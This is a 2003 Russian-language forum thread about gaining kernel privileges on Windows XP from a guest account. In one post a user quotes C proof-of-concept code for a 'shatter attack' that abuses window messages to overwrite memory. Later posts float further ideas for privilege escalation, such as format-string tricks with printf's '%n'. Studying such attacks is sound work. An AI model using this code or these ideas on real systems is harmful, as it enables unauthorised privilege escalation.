|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июл 13, 2003 04:24:54 Как в XP с правами "гостя" запустить программу на 0 уровне привелегий |
|
|
Дата: Июл 13, 2003 07:29:29 Берешь программу, берешь нулевое кольцо и запускаешь. Слона в шоколаде, случаем, не нужно? |
|
|
Дата: Июл 15, 2003 03:09:22 volodya Суть такая - есть программа в обход BIOS через порты пишет на винт, но сам понимаеш - без 0 уровня не запустить, если ты вошел как администратор, то я даже не задавал бы этого вопроса, а что делать если ты имееш права "гостя". |
|
|
Дата: Июл 15, 2003 03:32:05 Да еще в принципе все адреса-параметры функций передаваемых в ntoskrnl.exe проверяются, чтобы они не были более 80000000h. Если есть возможность из 3 кольца записать хоть 1 байтик в адрес более 80000000h, то переход на уровнь 0 - дело техники. |
|
|
Дата: Июл 15, 2003 03:37:51 А разве в ХР возможно получить 0 кольцо ? какой тогда в этом ХР смысл..... |
|
|
Дата: Июл 15, 2003 03:46:36 SPACES Хорошо, что ты тогда скажеш о prtinf("..."), ведь число параметров в этой функции неограничено, проверяются ли они. Кроме того я не смогу сам проверить хоть даже небольшую часть функций на возможность передачи им прямо или косвенно неверного адреса (за пределом 80000000h). Есть и такая возможность - скринсавер запускается от имени system, которая имеет полномочия для запука драйвера |
|
|
Дата: Июл 15, 2003 05:29:01 · Поправил: volodya Значит так, дорогой мой PROFi, который на самом деле не профи. в обход BIOS через порты пишет на винт, но если ты вошел как администратор Даже если зайдешь как господь бог, будешь первым, кому удалось заставить прикладную программу обратится напрямую к железу в XP. Это ж надо такое придумать! Хорошо, что ты тогда скажеш о prtinf("..."), ведь число параметров в этой функции неограничено, проверяются ли они. Вообще шедевр! Ты знаешь, что такое три точки? Хоть раз смотрел исходный код printf? А, точнее, макросов va_list и va_start? И на фига их проверять? Это проблема программиста, в противном случае прога слетит, всего делов! Если есть возможность из 3 кольца записать хоть 1 байтик в адрес более Ой, мамочка моя. Поясняю в первый и последний раз для всех чайников. ПОЛНЫХ чайников. Причем, поясняю агрессивно, т.к. вопросы, показанные выше свидетельствуют не просто об отсутствии знаний, но о нежелании что-либо узнавать! Любой софтверный прибабас мало чего стоит, до тех пор пока он не поддерживается аппаратно. Так вот, в Intel (да и не только в них) процессорах есть такое понятие как "защита". Это означает ограничение на использование сегментов, ограничение доступа к сегментам, ограничение набора инструкций и ограничение возможности межсегментных вызовов. Если бы ты хоть раз озаботился просмотреть, к примеру, рассылку Broken Sword по основам защищенного режима, то этих бы вопросов не возникло! Знал бы тогда, что такое привилегии селектора и привилегии дескриптора! А также, понимал бы, что назначает их ось прикладной задаче, а не наоборот. И теперь все рыпанья прикладной программы контролируются непосредственно процом! Другое дело, если после детального изучения Native API ты найдешь там какой-то баг... |
|
|
Дата: Июл 15, 2003 22:09:36 volodya Я каждый раз читаю твои ответы, и с каждым разом не перестаю восхищаться... Я тебя, даже, иногда цитирую... |
|
|
Дата: Июл 15, 2003 23:45:51 Это ты на то, что я ругаюсь часто, или на то, что объяснения чего-то стоят? Со стороны виднее. Мне тяжело сказать, хорошо я объясняю или нет. |
|
|
Дата: Июл 15, 2003 23:53:56 volodya Объясняешь ты нормально, даже очень(мне во всяком случае понятно). Но я также испытываю огромное удовольствие, видя как ты ругаешся. Иногда такое загнешь, я аж записываю. |
|
|
Дата: Июл 15, 2003 23:59:01 :) |
|
|
Дата: Июл 16, 2003 00:02:30 · Поправил: KiNDeR :) |
|
|
Дата: Июл 16, 2003 00:53:08 · Поправил: volodya По поводу кольца 0. Есть некоторые веселые вещи. Получили название шаттер-атак (shatter-attack). Гляньте на код: #include <windows.h>
#include <commctrl.h>
int main(int argc, char *argv[])
{
long lResult;
long hWndControl,hHdrControl;
char buffer[65535];
// Stuff The Buffer
memset(buffer,0x04,sizeof(buffer));
// Window Title Handle
hWndControl = 0x000C01E6;
// Set The Window Title
lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);
// Listview Header Handle
hWndControl = 0x000E0274;
// Overwrite Something Important
lResult = SendMessage((HWND) hWndControl,(UINT)
HDM_GETITEMRECT,0,0x77EDA1EA);
// Cause Exception
lResult = SendMessage((HWND) hWndControl,(UINT) HDM_GETITEMRECT,0,1);
return 0;
}
Особо обратите внимание на адрес, передаваемый SendMessage. Сама система обмена сообщениями - один большой баг :) Шутка. Я такую написать не смогу. Линк на тему: http://informatics.ntu.edu.au/staff/kgilbert/security/shatter_attack.h tml Так же любопытен факт о SEH-обработчиках и занулении dr-регистров внутри оного, что говорит об изменении уровня привилегий. Фича, в которой я до сих пор не разобрался. Надо будет покопать. |
|
|
Дата: Июл 16, 2003 01:46:45 volodya По поводу незнаний - это ты зря: что касается адреса более 80000000h, то здесь прежде всего идет защита на уровне страниц, а не сегментов и обойти ее углубляясь в изучение багов процессора действительно нельзя (если только Intel не лоханется), а вот в XP скорее всего лазейки существуют. Взять хотя бы то, что не только прерывание int 2Eh обрабатывается на уровне 0 (ой извиняюсь, а то в XP вызов идет ч/з sysenter), есть ведь и другие. Я же вынес вопрос на форум лишь для того, чтобы заново не изобретать велосипед. |
|
|
Дата: Июл 16, 2003 01:51:56 · Поправил: PROFi Да еще как ты думаеш что будет если загрузить селектор DS или ES дескритором FS, ведь у него ганица маааленькая, и sysenter DS и ES не перегружает, впрочем как и начало процедуры обработки прерывания 2Eh, а вот параметры из стека вызывающей программы в свой стек она копирует, причем банальной movsb. А по поводу printf - что вы скажете по поводу printf("%n",&adr...) - что делает %n ? И что будет в стеке. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.075 |